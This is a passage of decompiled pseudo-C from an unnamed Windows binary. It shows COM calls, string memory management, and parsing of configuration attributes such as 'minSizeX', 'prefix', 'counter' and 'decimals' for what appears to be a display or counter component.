																																															_t914 =  *((intOrPtr*)( *_t1457 + 8))(_t1457);
																																														}
																																														 *[fs:0x0] = _v56;
																																														return _t914;
																																													} else {
																																														goto L634;
																																													}
																																												}
																																											}
																																										}
																																									}
																																								}
																																							} else {
																																								__eflags = _t1625;
																																								if(_t1625 != 0) {
																																									E6ED37500(0x8007000e);
																																									L641:
																																									 *__imp__#6(_t1625);
																																									L642:
																																									E6ED27B80(0x8007000e);
																																									goto L643;
																																								} else {
																																									goto L584;
																																								}
																																							}
																																						}
																																					}
																																				}
																																			}
																																		} else {
																																			_t982 = _t1608;
																																			goto L553;
																																		}
																																	}
																																}
																															}
																														}
																													} else {
																														_t1608 =  &_v40;
																														_v20 = 0;
																														_v40 = 0;
																														_t987 =  *((intOrPtr*)( *_t1436 + 0x44))(_t1436,  &_v40);
																														__eflags = _t987;
																														if(_t987 < 0) {
																															L538:
																															_t1400 = 0;
																															__eflags = 0;
																															goto L539;
																														} else {
																															_t991 = _v40;
																															__eflags = _t991;
																															if(_t991 == 0) {
																																goto L544;
																															} else {
																																_t1436 =  *_t991;
																																_t1608 =  &_v52;
																																_t992 =  *((intOrPtr*)(_t1436 + 0x2c))(_t991,  &_v52);
																																__eflags = _t992;
																																if(_t992 < 0) {
																																	goto L538;
																																} else {
																																	_t993 = 0;
																																	_v36 = 0;
																																	_v20 = 4;
																																	_v96 = 0;
																																	__eflags = _v52;
																																	if(_v52 <= 0) {
																																		L533:
																																		_t1400 = 1;
																																		goto L534;
																																	} else {
																																		_t1395 = __imp__#6;
																																		while(1) {
																																			_t1639 = _v40;
																																			__eflags = _t1639;
																																			if(_t1639 == 0) {
																																				goto L544;
																																			}
																																			_t1436 =  *_t1639;
																																			_t1621 =  *(_t1436 + 0x28);
																																			_v20 = 5;
																																			__eflags = _t993;
																																			if(_t993 != 0) {
																																				_t1436 =  *_t993;
																																				 *((intOrPtr*)(_t1436 + 8))(_t993);
																																			}
																																			_v20 = 4;
																																			_v36 = 0;
																																			_t996 =  *_t1621(_t1639, _v96,  &_v36);
																																			__eflags = _t996;
																																			if(_t996 < 0) {
																																				L537:
																																				_t993 = _v36;
																																				_t1400 = 0;
																																				L534:
																																				_v20 = 0x12;
																																				__eflags = _t993;
																																				if(_t993 != 0) {
																																					 *((intOrPtr*)( *_t993 + 8))(_t993);
																																				}
																																				L539:
																																				_v20 = 0x13;
																																				_t1476 = _v40;
																																				__eflags = _t1476;
																																				if(_t1476 != 0) {
																																					_t1608 =  *_t1476;
																																					 *((intOrPtr*)( *_t1476 + 8))(_t1476);
																																				}
																																				 *[fs:0x0] = _v28;
																																				_pop(_t1627);
																																				_pop(_t1656);
																																				_pop(_t1401);
																																				__eflags = _v32 ^ _t1695;
																																				return E6ED34160(_t1400, _t1401, _v32 ^ _t1695, _t1608, _t1627, _t1656);
																																			} else {
																																				_v44 = 0;
																																				_v20 = 8;
																																				_t997 = _v36;
																																				__eflags = _t997;
																																				if(_t997 == 0) {
																																					goto L544;
																																				} else {
																																					_t1436 =  *_t997;
																																					_t1608 =  &_v44;
																																					_t998 =  *((intOrPtr*)(_t1436 + 0x1c))(_t997,  &_v44);
																																					__eflags = _t998;
																																					if(_t998 < 0) {
																																						L536:
																																						 *_t1395(_v44);
																																						goto L537;
																																					} else {
																																						_t1000 = _v36;
																																						__eflags = _t1000;
																																						if(_t1000 == 0) {
																																							goto L544;
																																						} else {
																																							_t1436 =  *_t1000;
																																							_t1608 =  &_v88;
																																							__eflags =  *((intOrPtr*)(_t1436 + 0x20))(_t1000,  &_v88);
																																							if(__eflags < 0) {
																																								goto L536;
																																							} else {
																																								_t1639 = _v44;
																																								_t1002 = E6ED3419F( &_v88, __eflags, 0xc);
																																								_t1621 = _t1002;
																																								_t1715 = _t1715 + 4;
																																								_v120 = _t1621;
																																								_v20 = 0xd;
																																								__eflags = _t1621;
																																								if(_t1621 == 0) {
																																									_t1621 = 0;
																																									__eflags = 0;
																																									goto L478;
																																								} else {
																																									asm("xorps xmm0, xmm0");
																																									asm("movq [edi], xmm0");
																																									_t1621[4] = 0;
																																									_t1621[2] = 0;
																																									_t1621[4] = 1;
																																									__imp__#2(_t1639);
																																									 *_t1621 = _t1002;
																																									__eflags = _t1002;
																																									if(_t1002 != 0) {
																																										L478:
																																										_v20 = 8;
																																										_v48 = _t1621;
																																										__eflags = _t1621;
																																										if(_t1621 == 0) {
																																											goto L542;
																																										} else {
																																											_v20 = 0xe;
																																											__imp__#8( &_v72);
																																											_t1003 =  &_v72;
																																											__imp__#10(_t1003,  &_v88);
																																											__eflags = _t1003;
																																											if(__eflags < 0) {
																																												goto L543;
																																											} else {
																																												_v20 = 0xf;
																																												_t1007 = E6ED27C80(_t1395,  &_v100, _t1608, __eflags, "minSizeX");
																																												_t1483 =  &_v48;
																																												_t1008 = E6ED27D80(_t1483, _t1007);
																																												_t1657 = _v100;
																																												_t1402 = _t1008;
																																												__eflags = _t1657;
																																												if(_t1657 != 0) {
																																													asm("lock xadd [esi+0x8], ecx");
																																													__eflags = (_t1483 | 0xffffffff) == 1;
																																													if((_t1483 | 0xffffffff) == 1) {
																																														__eflags = _t1657;
																																														if(_t1657 != 0) {
																																															_t1043 =  *_t1657;
																																															__eflags = _t1043;
																																															if(_t1043 != 0) {
																																																__imp__#6(_t1043);
																																																 *_t1657 = 0;
																																															}
																																															_t1044 =  *(_t1657 + 4);
																																															__eflags = _t1044;
																																															if(_t1044 != 0) {
																																																E6ED341CF(_t1044);
																																																_t1715 = _t1715 + 4;
																																																 *(_t1657 + 4) = 0;
																																															}
																																															_push(0xc);
																																															E6ED3416E(_t1657);
																																															_t1715 = _t1715 + 8;
																																														}
																																													}
																																													_v100 = 0;
																																												}
																																												__eflags = _t1402;
																																												if(__eflags != 0) {
																																													_push( &_v72);
																																													_t1491 =  &_v104;
																																													_t1034 = E6ED27ED0(_t1402,  &_v104, _t1608, _t1621, _t1657, _t1764);
																																													_v20 = 0x10;
																																													_t1661 =  *_t1034;
																																													__eflags = _t1661;
																																													if(_t1661 == 0) {
																																														_t1035 = 0;
																																														__eflags = 0;
																																													} else {
																																														_t1035 =  *(_t1661 + 4);
																																														__eflags = _t1035;
																																														if(_t1035 == 0) {
																																															 *(_t1661 + 4) = E6ED37520(_t1402,  *_t1661);
																																														}
																																													}
																																													_t1036 = E6ED44079(_t1491, _t1035);
																																													_t1715 = _t1715 + 4;
																																													_v20 = 0xf;
																																													_t1662 = _v104;
																																													 *_v112 = _t1036;
																																													__eflags = _t1662;
																																													if(__eflags != 0) {
																																														asm("lock xadd [esi+0x8], eax");
																																														__eflags = (_t1036 | 0xffffffff) - 1;
																																														if(__eflags == 0) {
																																															__eflags = _t1662;
																																															if(__eflags != 0) {
																																																_t1039 =  *_t1662;
																																																__eflags = _t1039;
																																																if(_t1039 != 0) {
																																																	__imp__#6(_t1039);
																																																	 *_t1662 = 0;
																																																}
																																																_t1040 =  *(_t1662 + 4);
																																																__eflags =  *(_t1662 + 4);
																																																if(__eflags != 0) {
																																																	E6ED341CF(_t1040);
																																																	_t1715 = _t1715 + 4;
																																																	 *(_t1662 + 4) = 0;
																																																}
																																																_push(0xc);
																																																E6ED3416E(_t1662);
																																																_t1715 = _t1715 + 8;
																																															}
																																														}
																																														_v104 = 0;
																																													}
																																												}
																																												_t1009 = E6ED27C80(_t1402,  &_v108, _t1608, __eflags, "minSizeY");
																																												_t1485 =  &_v48;
																																												_t1010 = E6ED27D80(_t1485, _t1009);
																																												_t1658 = _v108;
																																												_t1403 = _t1010;
																																												__eflags = _t1658;
																																												if(_t1658 != 0) {
																																													asm("lock xadd [esi+0x8], ecx");
																																													__eflags = (_t1485 | 0xffffffff) == 1;
																																													if((_t1485 | 0xffffffff) == 1) {
																																														__eflags = _t1658;
																																														if(_t1658 != 0) {
																																															_t1029 =  *_t1658;
																																															__eflags = _t1029;
																																															if(_t1029 != 0) {
																																																__imp__#6(_t1029);
																																																 *_t1658 = 0;
																																															}
																																															_t1030 =  *(_t1658 + 4);
																																															__eflags = _t1030;
																																															if(_t1030 != 0) {
																																																E6ED341CF(_t1030);
																																																_t1715 = _t1715 + 4;
																																																 *(_t1658 + 4) = 0;
																																															}
																																															_push(0xc);
																																															E6ED3416E(_t1658);
																																															_t1715 = _t1715 + 8;
																																														}
																																													}
																																													_v108 = 0;
																																												}
																																												__eflags = _t1403;
																																												if(_t1403 != 0) {
																																													_push( &_v72);
																																													_t1487 =  &_v116;
																																													_t1020 = E6ED27ED0(_t1403,  &_v116, _t1608, _t1621, _t1658, _t1764);
																																													_v20 = 0x11;
																																													_t1659 =  *_t1020;
																																													__eflags = _t1659;
																																													if(_t1659 == 0) {
																																														_t1021 = 0;
																																														__eflags = 0;
																																													} else {
																																														_t1021 =  *(_t1659 + 4);
																																														__eflags = _t1021;
																																														if(_t1021 == 0) {
																																															 *(_t1659 + 4) = E6ED37520(_t1403,  *_t1659);
																																														}
																																													}
																																													_t1022 = E6ED44079(_t1487, _t1021);
																																													_t1715 = _t1715 + 4;
																																													_t1660 = _v116;
																																													 *(_v112 + 4) = _t1022;
																																													__eflags = _t1660;
																																													if(_t1660 != 0) {
																																														asm("lock xadd [esi+0x8], eax");
																																														__eflags = (_t1022 | 0xffffffff) == 1;
																																														if((_t1022 | 0xffffffff) == 1) {
																																															__eflags = _t1660;
																																															if(_t1660 != 0) {
																																																_t1025 =  *_t1660;
																																																__eflags = _t1025;
																																																if(_t1025 != 0) {
																																																	__imp__#6(_t1025);
																																																	 *_t1660 = 0;
																																																}
																																																_t1026 =  *(_t1660 + 4);
																																																__eflags = _t1026;
																																																if(_t1026 != 0) {
																																																	E6ED341CF(_t1026);
																																																	_t1715 = _t1715 + 4;
																																																	 *(_t1660 + 4) = 0;
																																																}
																																																_push(0xc);
																																																E6ED3416E(_t1660);
																																																_t1715 = _t1715 + 8;
																																															}
																																														}
																																														_v116 = 0;
																																													}
																																												}
																																												_t1011 =  &_v72;
																																												__imp__#9(_t1011);
																																												asm("lock xadd [edi+0x8], eax");
																																												__eflags = (_t1011 | 0xffffffff) == 1;
																																												if((_t1011 | 0xffffffff) == 1) {
																																													_t1015 =  *_t1621;
																																													__eflags = _t1015;
																																													if(_t1015 != 0) {
																																														__imp__#6(_t1015);
																																														 *_t1621 = 0;
																																													}
																																													_t1016 = _t1621[2];
																																													__eflags = _t1016;
																																													if(_t1016 != 0) {
																																														E6ED341CF(_t1016);
																																														_t1715 = _t1715 + 4;
																																														_t1621[2] = 0;
																																													}
																																													_push(0xc);
																																													E6ED3416E(_t1621);
																																													_t1715 = _t1715 + 8;
																																												}
																																												_v20 = 4;
																																												_t1395 = __imp__#6;
																																												 *_t1395(_v44);
																																												_t993 = _v36;
																																												_t1436 = _v96 + 1;
																																												_v96 = _t1436;
																																												__eflags = _t1436 - _v52;
																																												if(_t1436 < _v52) {
																																													continue;
																																												} else {
																																													goto L533;
																																												}
																																											}
																																										}
																																									} else {
																																										__eflags = _t1639;
																																										if(_t1639 != 0) {
																																											L542:
																																											_t1003 = E6ED37500(0x8007000e);
																																											L543:
																																											E6ED37500(_t1003);
																																											goto L544;
																																										} else {
																																											goto L478;
																																										}
																																									}
																																								}
																																							}
																																						}
																																					}
																																				}
																																			}
																																			goto L648;
																																		}
																																		goto L544;
																																	}
																																}
																															}
																														}
																													}
																												} else {
																													_t1608 =  &_v40;
																													_v16 = 0;
																													_v40 = 0;
																													_t1049 =  *((intOrPtr*)( *_t1435 + 0x44))(_t1435, _t1608);
																													__eflags = _t1049;
																													if(_t1049 < 0) {
																														L452:
																														_t1404 = 0;
																														__eflags = 0;
																														goto L453;
																													} else {
																														_t1053 = _v40;
																														__eflags = _t1053;
																														if(_t1053 == 0) {
																															goto L458;
																														} else {
																															_t1435 =  *_t1053;
																															_t1608 =  &_v48;
																															_t1054 =  *((intOrPtr*)(_t1435 + 0x2c))(_t1053, _t1608);
																															__eflags = _t1054;
																															if(_t1054 < 0) {
																																goto L452;
																															} else {
																																_t1055 = 0;
																																_v32 = 0;
																																_v16 = 4;
																																_v96 = 0;
																																__eflags = _v48;
																																if(_v48 <= 0) {
																																	L447:
																																	_t1404 = 1;
																																	goto L448;
																																} else {
																																	_t1395 = __imp__#6;
																																	while(1) {
																																		_t1639 = _v40;
																																		__eflags = _t1639;
																																		if(_t1639 == 0) {
																																			goto L458;
																																		}
																																		_t1435 =  *_t1639;
																																		_t1621 =  *(_t1435 + 0x28);
																																		_v16 = 5;
																																		__eflags = _t1055;
																																		if(_t1055 != 0) {
																																			_t1435 =  *_t1055;
																																			 *((intOrPtr*)(_t1435 + 8))(_t1055);
																																		}
																																		_v16 = 4;
																																		_v32 = 0;
																																		_t1058 =  *_t1621(_t1639, _v96,  &_v32);
																																		__eflags = _t1058;
																																		if(_t1058 < 0) {
																																			L451:
																																			_t1055 = _v32;
																																			_t1404 = 0;
																																			L448:
																																			_v16 = 0x16;
																																			__eflags = _t1055;
																																			if(_t1055 != 0) {
																																				 *((intOrPtr*)( *_t1055 + 8))(_t1055);
																																			}
																																			L453:
																																			_v16 = 0x17;
																																			_t1495 = _v40;
																																			__eflags = _t1495;
																																			if(_t1495 != 0) {
																																				_t1608 =  *_t1495;
																																				 *((intOrPtr*)( *_t1495 + 8))(_t1495);
																																			}
																																			 *[fs:0x0] = _v24;
																																			_pop(_t1628);
																																			_pop(_t1663);
																																			_pop(_t1405);
																																			__eflags = _v28 ^ _t1694;
																																			return E6ED34160(_t1404, _t1405, _v28 ^ _t1694, _t1608, _t1628, _t1663);
																																		} else {
																																			_v44 = 0;
																																			_v16 = 8;
																																			_t1059 = _v32;
																																			__eflags = _t1059;
																																			if(_t1059 == 0) {
																																				goto L458;
																																			} else {
																																				_t1435 =  *_t1059;
																																				_t1608 =  &_v44;
																																				_t1060 =  *((intOrPtr*)(_t1435 + 0x1c))(_t1059, _t1608);
																																				__eflags = _t1060;
																																				if(_t1060 < 0) {
																																					L450:
																																					 *_t1395(_v44);
																																					goto L451;
																																				} else {
																																					_t1062 = _v32;
																																					__eflags = _t1062;
																																					if(_t1062 == 0) {
																																						goto L458;
																																					} else {
																																						_t1435 =  *_t1062;
																																						_t1608 =  &_v84;
																																						__eflags =  *((intOrPtr*)(_t1435 + 0x20))(_t1062, _t1608);
																																						if(__eflags < 0) {
																																							goto L450;
																																						} else {
																																							_t1639 = _v44;
																																							_t1064 = E6ED3419F(_t1608, __eflags, 0xc);
																																							_t1621 = _t1064;
																																							_t1714 = _t1714 + 4;
																																							_v148 = _t1621;
																																							_v16 = 0xd;
																																							__eflags = _t1621;
																																							if(_t1621 == 0) {
																																								_t1621 = 0;
																																								__eflags = 0;
																																								goto L297;
																																							} else {
																																								asm("xorps xmm0, xmm0");
																																								asm("movq [edi], xmm0");
																																								_t1621[4] = 0;
																																								_t1621[2] = 0;
																																								_t1621[4] = 1;
																																								__imp__#2(_t1639);
																																								 *_t1621 = _t1064;
																																								__eflags = _t1064;
																																								if(_t1064 != 0) {
																																									L297:
																																									_v16 = 8;
																																									_v36 = _t1621;
																																									__eflags = _t1621;
																																									if(_t1621 == 0) {
																																										goto L456;
																																									} else {
																																										_v16 = 0xe;
																																										__imp__#8( &_v68);
																																										_t1065 =  &_v68;
																																										__imp__#10(_t1065,  &_v84);
																																										__eflags = _t1065;
																																										if(__eflags < 0) {
																																											goto L457;
																																										} else {
																																											_v16 = 0xf;
																																											_t1069 = E6ED27C80(_t1395,  &_v100, _t1608, __eflags, "prefix");
																																											_t1502 =  &_v36;
																																											_t1070 = E6ED27D80(_t1502, _t1069);
																																											_t1664 = _v100;
																																											_t1406 = _t1070;
																																											__eflags = _t1664;
																																											if(_t1664 != 0) {
																																												asm("lock xadd [esi+0x8], ecx");
																																												__eflags = (_t1502 | 0xffffffff) == 1;
																																												if((_t1502 | 0xffffffff) == 1) {
																																													__eflags = _t1664;
																																													if(_t1664 != 0) {
																																														_t1173 =  *_t1664;
																																														__eflags = _t1173;
																																														if(_t1173 != 0) {
																																															__imp__#6(_t1173);
																																															 *_t1664 = 0;
																																														}
																																														_t1174 =  *(_t1664 + 4);
																																														__eflags = _t1174;
																																														if(_t1174 != 0) {
																																															E6ED341CF(_t1174);
																																															_t1714 = _t1714 + 4;
																																															 *(_t1664 + 4) = 0;
																																														}
																																														_push(0xc);
																																														E6ED3416E(_t1664);
																																														_t1714 = _t1714 + 8;
																																													}
																																												}
																																												_v100 = 0;
																																											}
																																											__eflags = _t1406;
																																											if(__eflags == 0) {
																																												_t1071 = E6ED27C80(_t1406,  &_v108, _t1608, __eflags, "suffix");
																																												_t1504 =  &_v36;
																																												_t1072 = E6ED27D80(_t1504, _t1071);
																																												_t1665 = _v108;
																																												_t1407 = _t1072;
																																												__eflags = _t1665;
																																												if(_t1665 != 0) {
																																													asm("lock xadd [esi+0x8], ecx");
																																													__eflags = (_t1504 | 0xffffffff) == 1;
																																													if((_t1504 | 0xffffffff) == 1) {
																																														__eflags = _t1665;
																																														if(_t1665 != 0) {
																																															_t1158 =  *_t1665;
																																															__eflags = _t1158;
																																															if(_t1158 != 0) {
																																																__imp__#6(_t1158);
																																																 *_t1665 = 0;
																																															}
																																															_t1159 =  *(_t1665 + 4);
																																															__eflags = _t1159;
																																															if(_t1159 != 0) {
																																																E6ED341CF(_t1159);
																																																_t1714 = _t1714 + 4;
																																																 *(_t1665 + 4) = 0;
																																															}
																																															_push(0xc);
																																															E6ED3416E(_t1665);
																																															_t1714 = _t1714 + 8;
																																														}
																																													}
																																													_v108 = 0;
																																												}
																																												__eflags = _t1407;
																																												if(__eflags == 0) {
																																													_t1073 = E6ED27C80(_t1407,  &_v116, _t1608, __eflags, "counter");
																																													_t1506 =  &_v36;
																																													_t1074 = E6ED27D80(_t1506, _t1073);
																																													_t1666 = _v116;
																																													_t1408 = _t1074;
																																													__eflags = _t1666;
																																													if(_t1666 != 0) {
																																														asm("lock xadd [esi+0x8], ecx");
																																														__eflags = (_t1506 | 0xffffffff) == 1;
																																														if((_t1506 | 0xffffffff) == 1) {
																																															__eflags = _t1666;
																																															if(_t1666 != 0) {
																																																_t1143 =  *_t1666;
																																																__eflags = _t1143;
																																																if(_t1143 != 0) {
																																																	__imp__#6(_t1143);
																																																	 *_t1666 = 0;
																																																}
																																																_t1144 =  *(_t1666 + 4);
																																																__eflags = _t1144;
																																																if(_t1144 != 0) {
																																																	E6ED341CF(_t1144);
																																																	_t1714 = _t1714 + 4;
																																																	 *(_t1666 + 4) = 0;
																																																}
																																																_push(0xc);
																																																E6ED3416E(_t1666);
																																																_t1714 = _t1714 + 8;
																																															}
																																														}
																																														_v116 = 0;
																																													}
																																													__eflags = _t1408;
																																													if(__eflags == 0) {
																																														_t1075 = E6ED27C80(_t1408,  &_v124, _t1608, __eflags, "divide");
																																														_t1508 =  &_v36;
																																														_t1076 = E6ED27D80(_t1508, _t1075);
																																														_t1667 = _v124;
																																														_t1409 = _t1076;
																																														__eflags = _t1667;
																																														if(_t1667 != 0) {
																																															asm("lock xadd [esi+0x8], ecx");
																																															__eflags = (_t1508 | 0xffffffff) == 1;
																																															if((_t1508 | 0xffffffff) == 1) {
																																																__eflags = _t1667;
																																																if(_t1667 != 0) {
																																																	_t1128 =  *_t1667;
																																																	__eflags = _t1128;
																																																	if(_t1128 != 0) {
																																																		__imp__#6(_t1128);
																																																		 *_t1667 = 0;
																																																	}
																																																	_t1129 =  *(_t1667 + 4);
																																																	__eflags = _t1129;
																																																	if(_t1129 != 0) {
																																																		E6ED341CF(_t1129);
																																																		_t1714 = _t1714 + 4;
																																																		 *(_t1667 + 4) = 0;
																																																	}
																																																	_push(0xc);
																																																	E6ED3416E(_t1667);
																																																	_t1714 = _t1714 + 8;
																																																}
																																															}
																																															_v124 = 0;
																																														}
																																														__eflags = _t1409;
																																														if(__eflags == 0) {
																																															_t1077 = E6ED27C80(_t1409,  &_v132, _t1608, __eflags, "decimals");
																																															_t1510 =  &_v36;
																																															_t1078 = E6ED27D80(_t1510, _t1077);
																																															_t1668 = _v132;
																																															_t1410 = _t1078;
																																															__eflags = _t1668;
																																															if(_t1668 != 0) {
																																																asm("lock xadd [esi+0x8], ecx");
																																																__eflags = (_t1510 | 0xffffffff) == 1;
																																																if((_t1510 | 0xffffffff) == 1) {
																																																	__eflags = _t1668;
																																																	if(_t1668 != 0) {
																																																		_t1113 =  *_t1668;
																																																		__eflags = _t1113;
																																																		if(_t1113 != 0) {
																																																			__imp__#6(_t1113);
																																																			 *_t1668 = 0;
																																																		}
																																																		_t1114 =  *(_t1668 + 4);
																																																		__eflags = _t1114;
																																																		if(_t1114 != 0) {
																																																			E6ED341CF(_t1114);
																																																			_t1714 = _t1714 + 4;
																																																			 *(_t1668 + 4) = 0;
																																																		}
																																																		_push(0xc);
																																																		E6ED3416E(_t1668);
																																																		_t1714 = _t1714 + 8;
																																																	}
																																																}
																																																_v132 = 0;
																																															}
																																															__eflags = _t1410;
																																															if(__eflags == 0) {
																																																_t1079 = E6ED27C80(_t1410,  &_v140, _t1608, __eflags, "characters");
																																																_t1512 =  &_v36;
																																																_t1080 = E6ED27D80(_t1512, _t1079);
																																																_t1669 = _v140;
																																																_t1411 = _t1080;
																																																__eflags = _t1669;
																																																if(_t1669 != 0) {
																																																	asm("lock xadd [esi+0x8], ecx");
																																																	__eflags = (_t1512 | 0xffffffff) == 1;
																																																	if((_t1512 | 0xffffffff) == 1) {
																																																		__eflags = _t1669;
																																																		if(_t1669 != 0) {
																																																			_t1099 =  *_t1669;
																																																			__eflags = _t1099;
																																																			if(_t1099 != 0) {
																																																				__imp__#6(_t1099);
																																																				 *_t1669 = 0;
																																																			}
																																																			_t1100 =  *(_t1669 + 4);
																																																			__eflags = _t1100;
																																																			if(_t1100 != 0) {
																																																				E6ED341CF(_t1100);
																																																				_t1714 = _t1714 + 4;
																																																				 *(_t1669 + 4) = 0;
																																																			}
																																																			_push(0xc);
																																																			E6ED3416E(_t1669);
																																																			_t1714 = _t1714 + 8;
																																																		}
																																																	}
																																																	_v140 = 0;
																																																}
																																																__eflags = _t1411;
																																																if(_t1411 != 0) {
																																																	_push( &_v68);
																																																	_t1514 =  &_v144;
																																																	_t1090 = E6ED27ED0(_t1411,  &_v144, _t1608, _t1621, _t1669, _t1764);
																																																	_v16 = 0x15;
																																																	_t1670 =  *_t1090;
																																																	__eflags = _t1670;
																																																	if(_t1670 == 0) {
																																																		_t1091 = 0;
																																																		__eflags = 0;
																																																	} else {
																																																		_t1091 =  *(_t1670 + 4);
																																																		__eflags = _t1091;
																																																		if(_t1091 == 0) {
																																																			 *(_t1670 + 4) = E6ED37520(_t1411,  *_t1670);
																																																		}
																																																	}
																																																	_t1092 = E6ED44079(_t1514, _t1091);
																																																	_t1714 = _t1714 + 4;
																																																	_t1671 = _v144;
																																																	 *(_v92 + 0x48) = _t1092;
																																																	__eflags = _t1671;
																																																	if(_t1671 != 0) {
																																																		asm("lock xadd [esi+0x8], eax");
																																																		__eflags = (_t1092 | 0xffffffff) == 1;
																																																		if((_t1092 | 0xffffffff) == 1) {
																																																			__eflags = _t1671;
																																																			if(_t1671 != 0) {
																																																				_t1095 =  *_t1671;
																																																				__eflags = _t1095;
																																																				if(_t1095 != 0) {
																																																					__imp__#6(_t1095);
																																																					 *_t1671 = 0;
																																																				}
																																																				_t1096 =  *(_t1671 + 4);
																																																				__eflags = _t1096;
																																																				if(_t1096 != 0) {
																																																					E6ED341CF(_t1096);
																																																					_t1714 = _t1714 + 4;
																																																					 *(_t1671 + 4) = 0;
																																																				}
																																																				_push(0xc);
																																																				E6ED3416E(_t1671);
																																																				_t1714 = _t1714 + 8;
																																																			}
																																																		}
																																																		_v144 = 0;
																																																	}
																																																}
																																															} else {
																																																_push( &_v68);
																																																_t1518 =  &_v136;
																																																_t1104 = E6ED27ED0(_t1410,  &_v136, _t1608, _t1621, _t1668, _t1764);
																																																_v16 = 0x14;
																																																_t1672 =  *_t1104;
																																																__eflags = _t1672;
																																																if(_t1672 == 0) {
																																																	_t1105 = 0;
																																																	__eflags = 0;
																																																} else {
																																																	_t1105 =  *(_t1672 + 4);
																																																	__eflags = _t1105;
																																																	if(_t1105 == 0) {
																																																		 *(_t1672 + 4) = E6ED37520(_t1410,  *_t1672);
																																																	}
																																																}
																																																_t1106 = E6ED44079(_t1518, _t1105);
																																																_t1714 = _t1714 + 4;
																																																_t1673 = _v136;
																																																 *(_v92 + 0x4c) = _t1106;
																																																__eflags = _t1673;
																																																if(_t1673 != 0) {
																																																	asm("lock xadd [esi+0x8], eax");
																																																	__eflags = (_t1106 | 0xffffffff) == 1;
																																																	if((_t1106 | 0xffffffff) == 1) {
																																																		__eflags = _t1673;
																																																		if(_t1673 != 0) {
																																																			_t1109 =  *_t1673;
																																																			__eflags = _t1109;
																																																			if(_t1109 != 0) {
																																																				__imp__#6(_t1109);
																																																				 *_t1673 = 0;
																																																			}
																																																			_t1110 =  *(_t1673 + 4);
																																																			__eflags = _t1110;
																																																			if(_t1110 != 0) {
																																																				E6ED341CF(_t1110);
																																																				_t1714 = _t1714 + 4;
																																																				 *(_t1673 + 4) = 0;
																																																			}
																																																			_push(0xc);
																																																			E6ED3416E(_t1673);
																																																			_t1714 = _t1714 + 8;
																																																		}
																																																	}
																																																	_v136 = 0;
																																																}
																																															}
																																														} else {
																																															_push( &_v68);
																																															_t1118 = E6ED27ED0(_t1409,  &_v128, _t1608, _t1621, _t1667, _t1764);
																																															_v16 = 0x13;
																																															_t1674 =  *_t1118;
																																															__eflags = _t1674;
																																															if(_t1674 == 0) {
																																																_t1119 = 0;
																																																__eflags = 0;
																																															} else {
																																																_t1119 =  *(_t1674 + 4);
																																																__eflags = _t1119;
																																																if(_t1119 == 0) {
																																																	 *(_t1674 + 4) = E6ED37520(_t1409,  *_t1674);
																																																}
																																															}
																																															E6ED4492F(_t1119);
																																															_t1121 = _v92;
																																															_t1714 = _t1714 + 4;
																																															_t1675 = _v128;
																																															 *((long long*)(_t1121 + 0x50)) = _t1764;
																																															__eflags = _t1675;
																																															if(_t1675 != 0) {
																																																asm("lock xadd [esi+0x8], eax");
																																																__eflags = (_t1121 | 0xffffffff) == 1;
																																																if((_t1121 | 0xffffffff) == 1) {
																																																	__eflags = _t1675;
																																																	if(_t1675 != 0) {
																																																		_t1124 =  *_t1675;
																																																		__eflags = _t1124;
																																																		if(_t1124 != 0) {
																																																			__imp__#6(_t1124);
																																																			 *_t1675 = 0;
																																																		}
																																																		_t1125 =  *(_t1675 + 4);
																																																		__eflags = _t1125;
																																																		if(_t1125 != 0) {
																																																			E6ED341CF(_t1125);
																																																			_t1714 = _t1714 + 4;
																																																			 *(_t1675 + 4) = 0;
																																																		}
																																																		_push(0xc);
																																																		E6ED3416E(_t1675);
																																																		_t1714 = _t1714 + 8;
																																																	}
																																																}
																																																_v128 = 0;
																																															}
																																														}
																																													} else {
																																														_push( &_v68);
																																														_t1133 = E6ED27ED0(_t1408,  &_v120, _t1608, _t1621, _t1666, _t1764);
																																														_v16 = 0x12;
																																														_t1134 =  *_t1133;
																																														__eflags = _t1134;
																																														if(_t1134 == 0) {
																																															_t1608 = 0;
																																															__eflags = 0;
																																														} else {
																																															_t1608 =  *_t1134;
																																														}
																																														_t1526 = _t1608;
																																														_t471 = _t1526 + 2; // 0x2
																																														_t1676 = _t471;
																																														asm("o16 nop [eax+eax]");
																																														do {
																																															_t1135 =  *_t1526;
																																															_t1526 = _t1526 + 2;
																																															__eflags = _t1135;
																																														} while (_t1135 != 0);
																																														_push(_t1526 - _t1676 >> 1);
																																														_t1136 = E6ED2B860(_t1408, _v92, _t1621, _t1676, _t1764, _t1608);
																																														_t1677 = _v120;
																																														__eflags = _t1677;
																																														if(_t1677 != 0) {
																																															asm("lock xadd [esi+0x8], eax");
																																															__eflags = (_t1136 | 0xffffffff) == 1;
																																															if((_t1136 | 0xffffffff) == 1) {
																																																__eflags = _t1677;
																																																if(_t1677 != 0) {
																																																	_t1139 =  *_t1677;
																																																	__eflags = _t1139;
																																																	if(_t1139 != 0) {
																																																		__imp__#6(_t1139);
																																																		 *_t1677 = 0;
																																																	}
																																																	_t1140 =  *(_t1677 + 4);
																																																	__eflags = _t1140;
																																																	if(_t1140 != 0) {
																																																		E6ED341CF(_t1140);
																																																		_t1714 = _t1714 + 4;
																																																		 *(_t1677 + 4) = 0;
																																																	}
																																																	_push(0xc);
																																																	E6ED3416E(_t1677);
																																																	_t1714 = _t1714 + 8;
																																																}
																																															}
																																															_v120 = 0;
																																														}
																																													}
																																												} else {
																																													_push( &_v68);
																																													_t1148 = E6ED27ED0(_t1407,  &_v112, _t1608, _t1621, _t1665, _t1764);
																																													_v16 = 0x11;
																																													_t1149 =  *_t1148;
																																													__eflags = _t1149;
																																													if(_t1149 == 0) {
																																														_t1608 = 0;
																																														__eflags = 0;
																																													} else {
																																														_t1608 =  *_t1149;
																																													}
																																													_t1533 = _t1608;
																																													_t455 = _t1533 + 2; // 0x2
																																													_t1678 = _t455;
																																													asm("o16 nop [eax+eax]");
																																													do {
																																														_t1150 =  *_t1533;
																																														_t1533 = _t1533 + 2;
																																														__eflags = _t1150;
																																													} while (_t1150 != 0);
																																													_push(_t1533 - _t1678 >> 1);
																																													_t1151 = E6ED2B860(_t1407, _v92 + 0x30, _t1621, _t1678, _t1764, _t1608);
																																													_t1679 = _v112;
																																													__eflags = _t1679;
																																													if(_t1679 != 0) {
																																														asm("lock xadd [esi+0x8], eax");
																																														__eflags = (_t1151 | 0xffffffff) == 1;
																																														if((_t1151 | 0xffffffff) == 1) {
																																															__eflags = _t1679;
																																															if(_t1679 != 0) {
																																																_t1154 =  *_t1679;
																																																__eflags = _t1154;
																																																if(_t1154 != 0) {
																																																	__imp__#6(_t1154);
